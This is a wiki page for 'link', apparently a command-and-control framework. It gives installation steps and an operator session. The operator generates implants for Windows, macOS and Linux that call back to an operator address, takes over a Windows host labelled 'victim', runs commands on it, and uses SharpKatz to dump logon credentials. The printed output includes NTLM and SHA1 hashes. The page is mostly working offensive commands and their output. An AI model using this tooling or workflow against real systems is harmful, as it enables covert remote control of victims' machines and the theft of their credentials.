Skip to content

Installation and Usage

postrequest edited this page Apr 12, 2021 · 5 revisions

Installation

Kali Linux

Made simple with the install script, link can be built with the following commands:

$ git clone https://github.com/postrequest/link
$ cd link/
$ ./kali-install.sh

Notes

  • All links take a long time to generate on the first time, but will be much quicker on subsequent generation.
  • Building MacOS links relies on the osxcross toolchain. When generating the first MacOS link, link will clone and build osxcross locally. This takes a lot of time, but is only required once.

Offline

If you require link to work offline, ensure that you have generated links for all targets and installed SharpCollection (if required). This can be done by generating links and running sharp init like so:

πŸ”— > generate 192.168.1.1:8443
please wait...                                                                                                                                             
link successfully built
output: link.exe
output: link.dll
output: link.bin
πŸ”— > generate-osx 192.168.1.1:8443
please wait...
link successfully built
output: link
πŸ”— > generate-linux 192.168.1.1:8443
please wait...
link successfully built
output: link
πŸ”— > sharp init
download SharpCollection
downloaded
πŸ”— > 

Usage

Starting link

$ ./target/release/link

                                    .-') _       .-. .-')
                                   ( OO ) )      \  ( OO )
 ,--.             ,-.-')       ,--./ ,--,'       ,--. ,--.
 |  |.-')         |  |OO)      |   \ |  |\       |  .'   /
 |  | OO )        |  |  \      |    \|  | )      |      /,
 |  |`-' |        |  |(_/      |  .     |/       |     ' _)
(|  '---.'       ,|  |_.'      |  |\    |        |  .   \
 |      |       (_|  |         |  | \   |        |  |\   \
 `------'         `--'         `--'  `--'        `--' '--'
Start web server (Y/n)?
Please provide bind address (eg: 0.0.0.0:443): 0.0.0.0:8443
πŸ”— > 

Generating a link

πŸ”— > generate 10.0.2.2:8443
first link build will take time
please wait...
link successfully built
output: link.exe
πŸ”— >

Interacting with a link

πŸ”— >

πŸ”— New link: 9981394a48b54969848ba69cc9d20896 (DESKTOP-6FR6M8L\[email protected]) πŸ”—

πŸ”— > links

[1 Link]

 id                               | type  | platform | who                          | internal ip   | last checkin                         | status
----------------------------------|-------|----------|------------------------------|---------------|--------------------------------------|--------
 9981394a48b54969848ba69cc9d20896 | Ring3 | windows  | DESKTOP-6FR6M8L\victim       | 10.0.2.15     | 2021-02-14 16:21:11.205812832 +11:00 | Active

πŸ”— > links -i 9981394a48b54969848ba69cc9d20896
(9981394a48b54969848ba69cc9d20896) πŸ”— > whoami
(9981394a48b54969848ba69cc9d20896) πŸ”— >

Link: 9981394a48b54969848ba69cc9d20896 (DESKTOP-6FR6M8L\[email protected])
Task ID: 4be39516-b785-4009-b397-fdf7179b1d20
Command: whoami
Output:

DESKTOP-6FR6M8L\victim

(9981394a48b54969848ba69cc9d20896) πŸ”— > 

Executing SharpCollection tools

(9981394a48b54969848ba69cc9d20896) πŸ”— > sharp SharpKatz --Command logonpasswords                                                                                                                         [117/815]
could not find tool, at the main menu the following command may help:
sharp init
(9981394a48b54969848ba69cc9d20896) πŸ”— > back
πŸ”— > sharp init
downloading SharpCollection
downloaded
πŸ”— > links -i 9981394a48b54969848ba69cc9d20896
(9981394a48b54969848ba69cc9d20896) πŸ”— > sharp SharpKatz --Command logonpasswords
(9981394a48b54969848ba69cc9d20896) πŸ”— >

Link: 9981394a48b54969848ba69cc9d20896 (DESKTOP-6FR6M8L\[email protected])
Task ID: e397ba44-5c9f-4734-b3a4-d2b5970a59c6
Command: sharp SharpKatz --Command logonpasswords
Output:

[*]
[*]                     System Information
[*] ----------------------------------------------------------------------
[*] | Platform: Win32NT                                                  |
[*] ----------------------------------------------------------------------
[*] | Major: 10            | Minor: 0             | Build: 19041         |
[*] ----------------------------------------------------------------------
[*] | Version: Microsoft Windows NT 10.0.19041.0                         |
[*] ----------------------------------------------------------------------
[*]
[*] Authentication Id   : 0;283239 (00000000:00283239)
[*] Session             : Interactive from 1
[*] UserName            : victim
[*] LogonDomain         : DESKTOP-6FR6M8L
[*] LogonServer         : DESKTOP-6FR6M8L
[*] LogonTime           : 2021/02/14 16:17:51
[*] SID                 : S-1-5-21-178190763-3086215798-2254057950-1001
[*]
[*]      Msv
[*]       Domain   : DESKTOP-6FR6M8L
[*]       Username : victim
[*]       LM       : 00000000000000000000000000000000
[*]       NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
[*]       SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
[*]       DPAPI    : 00000000000000000000000000000000
[*]
[*]      WDigest
[*]       Hostname : DESKTOP-6FR6M8L
[*]       Username : victim
[*]       Password : [NULL]
[*]
[*]      Kerberos
[*]       Domain   : DESKTOP-6FR6M8L
[*]       Username : victim
[*]       Password : [NULL]
[*]
... output snipped ...